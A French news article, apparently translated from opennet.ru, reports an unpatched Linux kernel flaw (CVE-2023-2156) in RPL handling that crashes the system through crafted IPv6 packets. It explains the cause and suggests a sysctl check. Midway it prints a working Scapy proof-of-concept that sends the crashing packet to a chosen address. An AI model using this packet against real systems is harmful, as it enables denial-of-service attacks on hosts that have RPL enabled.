Des informations ont été divulguées sur une vulnérabilité non corrigée (0-day) (CVE-2023-2156) dans le noyau Linux qui permet d'arrêter le système en envoyant des paquets IPv6 spécialement conçus (packet-of-death). Le problème n'apparaît que lorsque la prise en charge du protocole RPL (Routing Protocol for Low-Power and Lossy Networks) est activé, qui est désactivé par défaut dans les distributions et est principalement utilisé sur les appareils embarqués fonctionnant dans des réseaux sans fil à forte perte de paquets.
La vulnérabilité est causée par une gestion incorrecte des données externes dans le code d'analyse du protocole RPL, ce qui entraîne un échec d'assertion et le noyau passe dans un état de panique. Lors du placement dans la structure k_buff (Socket Buffer) des données obtenues à la suite de l'analyse de l'en-tête de paquet RPL IPv6, si le champ CmprI est défini sur 15, le champ Segleft est défini sur 1 et CmprE est défini sur 0, un 48 -Le vecteur d'adresse d'octet est décompressé à 528 octets et une situation où il n'y a pas assez de mémoire allouée pour le tampon. Dans ce cas, la fonction skb_push utilisée pour pousser les données dans la structure déclenche une vérification de la taille disproportionnée des données et du tampon, générant un état de panique pour empêcher l'écrasement du tampon.
Exemple d'exploit : # Nous utiliserons Scapy pour créer le paquet à partir de scapy.all import * import socket # Utilisez l'IPv6 de votre interface LAN DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Nous utilisons des sockets pour envoyer le paquet sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Créer le paquet # Type = 3 en fait un paquet RPL # Les adresses contiennent 3 adresses, mais comme CmprI vaut 15, # chaque octet des deux premières adresses est traitée comme une adresse compressée # Segleft = 1 pour déclencher l'amplification # lastentry = 0xf0 définit CmprI à 15 et CmprE à 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(type=3, address=["a8 : :", "a7::", "a6::"], segleft=1, lastentry=0xf0) # Envoie ce paquet diabolique sockfd.sendto(bytes(p), (DST_ADDR, 0))
Il est à noter que les développeurs du noyau ont été informés de la vulnérabilité en janvier 2022 et au cours des 15 derniers mois, ils ont essayé de résoudre le problème à trois reprises en publiant des correctifs en septembre 2022, octobre 2022 et avril 2023, mais à chaque fois les correctifs n'étaient pas assez et la vulnérabilité a pu se reproduire. Finalement, le projet ZDI, qui a coordonné le travail d'élimination de la vulnérabilité, a décidé de divulguer des informations détaillées sur la vulnérabilité, sans attendre qu'un correctif fonctionnel apparaisse dans le noyau.
Ainsi, la vulnérabilité n'est toujours pas corrigée. Inclure le correctif inclus dans le noyau 6.4-rc2 n'est pas efficace. Il est conseillé aux utilisateurs de vérifier que le protocole RPL n'est pas utilisé sur leurs systèmes, ce qui peut être fait en utilisant sysctl -a | grep -i rpl_seg_enabled
Source: opennet.ru